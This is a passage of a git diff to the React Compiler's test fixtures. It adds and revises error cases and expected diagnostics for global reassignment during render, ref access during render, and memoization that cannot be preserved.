+Variable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global-indirect.ts:5:4
+  3 |     // Cannot assign to globals
+  4 |     someUnknownGlobal = true;
+> 5 |     moduleLocal = true;
+    |     ^^^^^^^^^^^ `moduleLocal` cannot be reassigned
+  6 |   };
+  7 |   foo();
+  8 | }
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global.expect.md
index 4619cd27cb24..0a374fd39ff4 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.reassignment-to-global.expect.md
@@ -14,13 +14,32 @@ function Component() {
 ## Error
 
 ```
+Found 2 errors:
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `someUnknownGlobal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global.ts:3:2
   1 | function Component() {
   2 |   // Cannot assign to globals
 > 3 |   someUnknownGlobal = true;
-    |   ^^^^^^^^^^^^^^^^^ InvalidReact: Unexpected reassignment of a variable which was defined outside of the component. Components and hooks should be pure and side-effect free, but variable reassignment is a form of side-effect. If this variable is used in rendering, use useState instead. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render) (3:3)
+    |   ^^^^^^^^^^^^^^^^^ `someUnknownGlobal` cannot be reassigned
   4 |   moduleLocal = true;
   5 | }
   6 |
+
+Error: Cannot reassign variables declared outside of the component/hook
+
+Variable `moduleLocal` is declared outside of the component/hook. Reassigning this value during render is a form of side effect, which can cause unpredictable behavior depending on when the component happens to re-render. If this variable is used in rendering, use useState instead. Otherwise, consider updating it in an effect. (https://react.dev/reference/rules/components-and-hooks-must-be-pure#side-effects-must-run-outside-of-render).
+
+error.reassignment-to-global.ts:4:2
+  2 |   // Cannot assign to globals
+  3 |   someUnknownGlobal = true;
+> 4 |   moduleLocal = true;
+    |   ^^^^^^^^^^^ `moduleLocal` cannot be reassigned
+  5 | }
+  6 |
 ```
           
       
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.expect.md
new file mode 100644
index 000000000000..17625298cd77
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.expect.md
@@ -0,0 +1,55 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+const DEFAULT_VALUE = 1;
+
+component C() {
+  const r = useRef(DEFAULT_VALUE);
+  if (r.current == DEFAULT_VALUE) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   6 | component C() {
+   7 |   const r = useRef(DEFAULT_VALUE);
+>  8 |   if (r.current == DEFAULT_VALUE) {
+     |       ^^^^^^^^^ Cannot access ref value during render
+   9 |     r.current = 1;
+  10 |   }
+  11 | }
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   7 |   const r = useRef(DEFAULT_VALUE);
+   8 |   if (r.current == DEFAULT_VALUE) {
+>  9 |     r.current = 1;
+     |     ^^^^^^^^^ Cannot update ref during render
+  10 |   }
+  11 | }
+  12 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.js
new file mode 100644
index 000000000000..f7e9a9dccb2d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-arbitrary.js
@@ -0,0 +1,16 @@
+//@flow
+import {useRef} from 'react';
+
+const DEFAULT_VALUE = 1;
+
+component C() {
+  const r = useRef(DEFAULT_VALUE);
+  if (r.current == DEFAULT_VALUE) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.expect.md
new file mode 100644
index 000000000000..3a6d0b0f7a4c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.expect.md
@@ -0,0 +1,41 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    f(r);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   5 |   const r = useRef(null);
+   6 |   if (r.current == null) {
+>  7 |     f(r);
+     |       ^ Passing a ref to a function may read its value during render
+   8 |   }
+   9 | }
+  10 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.js
new file mode 100644
index 000000000000..4e5a53cd3f62
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call-2.js
@@ -0,0 +1,14 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    f(r);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.expect.md
new file mode 100644
index 000000000000..d9f3ac3aad8c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.expect.md
@@ -0,0 +1,41 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    f(r.current);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   5 |   const r = useRef(null);
+   6 |   if (r.current == null) {
+>  7 |     f(r.current);
+     |       ^^^^^^^^^ Passing a ref to a function may read its value during render
+   8 |   }
+   9 | }
+  10 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.js
new file mode 100644
index 000000000000..50288fafc4a0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-call.js
@@ -0,0 +1,14 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    f(r.current);
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.expect.md
new file mode 100644
index 000000000000..7c6e6d5d58a0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 42;
+    r.current = 42;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   6 |   if (r.current == null) {
+   7 |     r.current = 42;
+>  8 |     r.current = 42;
+     |     ^^^^^^^^^ Cannot update ref during render
+   9 |   }
+  10 | }
+  11 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.js
new file mode 100644
index 000000000000..23e495204559
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-linear.js
@@ -0,0 +1,15 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 42;
+    r.current = 42;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.expect.md
new file mode 100644
index 000000000000..aaa86f914151
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.expect.md
@@ -0,0 +1,54 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  const guard = r.current == null;
+  if (guard) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 2 errors:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+  4 | component C() {
+  5 |   const r = useRef(null);
+> 6 |   const guard = r.current == null;
+    |                 ^^^^^^^^^^^^^^^^^ Cannot access ref value during render
+  7 |   if (guard) {
+  8 |     r.current = 1;
+  9 |   }
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   5 |   const r = useRef(null);
+   6 |   const guard = r.current == null;
+>  7 |   if (guard) {
+     |       ^^^^^ Cannot access ref value during render
+   8 |     r.current = 1;
+   9 |   }
+  10 | }
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.js
new file mode 100644
index 000000000000..94216b3bacb3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-nonif.js
@@ -0,0 +1,15 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  const guard = r.current == null;
+  if (guard) {
+    r.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.expect.md
new file mode 100644
index 000000000000..e1bda1889099
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  const r2 = useRef(null);
+  if (r.current == null) {
+    r2.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   6 |   const r2 = useRef(null);
+   7 |   if (r.current == null) {
+>  8 |     r2.current = 1;
+     |     ^^^^^^^^^^ Cannot update ref during render
+   9 |   }
+  10 | }
+  11 |
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.js
new file mode 100644
index 000000000000..58abd12ac80c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-other.js
@@ -0,0 +1,15 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  const r2 = useRef(null);
+  if (r.current == null) {
+    r2.current = 1;
+  }
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.expect.md
new file mode 100644
index 000000000000..e30d6103a20e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 1;
+  }
+  f(r.current);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   7 |     r.current = 1;
+   8 |   }
+>  9 |   f(r.current);
+     |     ^^^^^^^^^ Passing a ref to a function may read its value during render
+  10 | }
+  11 |
+  12 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.js
new file mode 100644
index 000000000000..a8e3b124bfeb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access-2.js
@@ -0,0 +1,15 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 1;
+  }
+  f(r.current);
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.expect.md
new file mode 100644
index 000000000000..f8d08dda4776
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.expect.md
@@ -0,0 +1,42 @@
+
+## Input
+
+```javascript
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 1;
+  }
+  r.current = 1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+   7 |     r.current = 1;
+   8 |   }
+>  9 |   r.current = 1;
+     |   ^^^^^^^^^ Cannot update ref during render
+  10 | }
+  11 |
+  12 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.js
new file mode 100644
index 000000000000..ba476e6e422e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-initialization-post-access.js
@@ -0,0 +1,15 @@
+//@flow
+import {useRef} from 'react';
+
+component C() {
+  const r = useRef(null);
+  if (r.current == null) {
+    r.current = 1;
+  }
+  r.current = 1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: C,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.expect.md
index b30c22c5b6be..2558d10d19cb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback, useRef} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
@@ -31,6 +31,13 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `Ref.current`, but the source dependencies were []. Inferred dependency not present in source.
+
+error.ref-like-name-not-Ref.ts:11:30
    9 |   const Ref = useCustomRef();
   10 |
 > 11 |   const onClick = useCallback(() => {
@@ -38,7 +45,7 @@ export const FIXTURE_ENTRYPOINT = {
 > 12 |     Ref.current?.click();
      | ^^^^^^^^^^^^^^^^^^^^^^^^^
 > 13 |   }, []);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (11:13)
+     | ^^^^ Could not preserve existing manual memoization
   14 |
   15 |   return <button onClick={onClick} />;
   16 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.js
index c2386fcbcf3f..60ab46e4eb47 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-Ref.js
@@ -1,8 +1,8 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback, useRef} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.expect.md
index 2b56cf53b9e5..2c2f725ec84b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback, useRef} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
@@ -31,6 +31,13 @@ export const FIXTURE_ENTRYPOINT = {
 ## Error
 
 ```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected. The inferred dependency was `notaref.current`, but the source dependencies were []. Inferred dependency not present in source.
+
+error.ref-like-name-not-a-ref.ts:11:30
    9 |   const notaref = useCustomRef();
   10 |
 > 11 |   const onClick = useCallback(() => {
@@ -38,7 +45,7 @@ export const FIXTURE_ENTRYPOINT = {
 > 12 |     notaref.current?.click();
      | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
 > 13 |   }, []);
-     | ^^^^ CannotPreserveMemoization: React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. The inferred dependencies did not match the manually specified dependencies, which could cause the value to change more or less frequently than expected (11:13)
+     | ^^^^ Could not preserve existing manual memoization
   14 |
   15 |   return <button onClick={onClick} />;
   16 | }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.js
index f2589063f624..f0e0b584e9fc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-like-name-not-a-ref.js
@@ -1,8 +1,8 @@
-// @validatePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+// @validatePreserveExistingMemoizationGuarantees @validateExhaustiveMemoizationDependencies:false
+import {useCallback, useRef} from 'react';
 
 function useCustomRef() {
-  return useRef({ click: () => {} });
+  return useRef({click: () => {}});
 }
 
 function Foo() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.expect.md
new file mode 100644
index 000000000000..94e4b0fc46f6
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.expect.md
@@ -0,0 +1,39 @@
+
+## Input
+
+```javascript
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef();
+  return ref?.current;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Error: Cannot access refs during render
+
+React refs are values that are not needed for rendering. Refs should only be accessed outside of render, such as in event handlers or effects. Accessing a ref value (the `current` property) during render can cause your component not to update as expected (https://react.dev/reference/react/useRef).
+
+error.ref-optional.ts:5:9
+  3 | function Component(props) {
+  4 |   const ref = useRef();
+> 5 |   return ref?.current;
+    |          ^^^^^^^^^^^^ Cannot access ref value during render
+  6 | }
+  7 |
+  8 | export const FIXTURE_ENTRYPOINT = {
+```
+          
+      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.js
new file mode 100644
index 000000000000..00c67037b864
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.ref-optional.js
@@ -0,0 +1,11 @@
+import {useRef} from 'react';
+
+function Component(props) {
+  const ref = useRef();
+  return ref?.current;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-bug-ref-mutable-range.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-bug-ref-mutable-range.expect.md
deleted file mode 100644
index 7cd2acc9affa..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-bug-ref-mutable-range.expect.md
+++ /dev/null
@@ -1,27 +0,0 @@
-
-## Input
-
-```javascript
-function Foo(props, ref) {
-  const value = {};
-  if (cond1) {
-    mutate(value);
-    return <Child ref={ref} />;
-  }
-  mutate(value);
-  if (cond2) {
-    return <Child ref={identity(ref)} />;
-  }
-  return value;
-}
-
-```
-
-
-## Error
-
-```
-Invariant: Invalid nesting in program blocks or scopes. Items overlap but are not nested: 1:21(16:23)
-```
-          
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-bug-ref-mutable-range.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-bug-ref-mutable-range.js
deleted file mode 100644
index 8837c348eeba..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-bug-ref-mutable-range.js
+++ /dev/null
@@ -1,12 +0,0 @@
-function Foo(props, ref) {
-  const value = {};
-  if (cond1) {
-    mutate(value);
-    return <Child ref={ref} />;
-  }
-  mutate(value);
-  if (cond2) {
-    return <Child ref={identity(ref)} />;
-  }
-  return value;
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.expect.md
new file mode 100644
index 000000000000..8d603c629b6c
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.expect.md
@@ -0,0 +1,59 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enablePreserveExistingMemoizationGuarantees:false
+
+/**
+ * Repro from https://github.com/facebook/react/issues/34262
+ *
+ * The compiler memoizes more precisely than the original code, with two reactive scopes:
+ * - One for `transform(input)` with `input` as dep
+ * - One for `{value}` with `value` as dep
+ *
+ * When we validate preserving manual memoization we incorrectly reject this, because
+ * the original memoization had `object` depending on `input` but our scope depends on
+ * `value`.
+ *
+ * This fixture adds a later potential mutation, which extends the scope and should
+ * fail validation. This confirms that even though we allow the dependency to diverge,
+ * we still check that the output value is memoized.
+ */
+function useInputValue(input) {
+  const object = React.useMemo(() => {
+    const {value} = transform(input);
+    return {value};
+  }, [input]);
+  mutate(object);
+  return object;
+}
+
+```
+
+
+## Error
+
+```
+Found 1 error:
+
+Compilation Skipped: Existing memoization could not be preserved
+
+React Compiler has skipped optimizing this component because the existing manual memoization could not be preserved. This value was memoized in source but not in compilation output.
+
+error.repro-preserve-memoization-inner-destructured-value-mistaken-as-dependency-later-mutation.ts:19:17
+  17 |  */
+  18 | function useInputValue(input) {
+> 19 |   const object = React.useMemo(() => {
+     |                  ^^^^^^^^^^^^^^^^^^^^^
+> 20 |     const {value} = transform(input);
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 21 |     return {value};
+     | ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
+> 22 |   }, [input]);
+     | ^^^^^^^^^^^^^^ Could not preserve existing memoization
+  23 |   mutate(object);
+  24 |   return object;
+  25 | }
+```
+          
+      
\ No newline at end of file
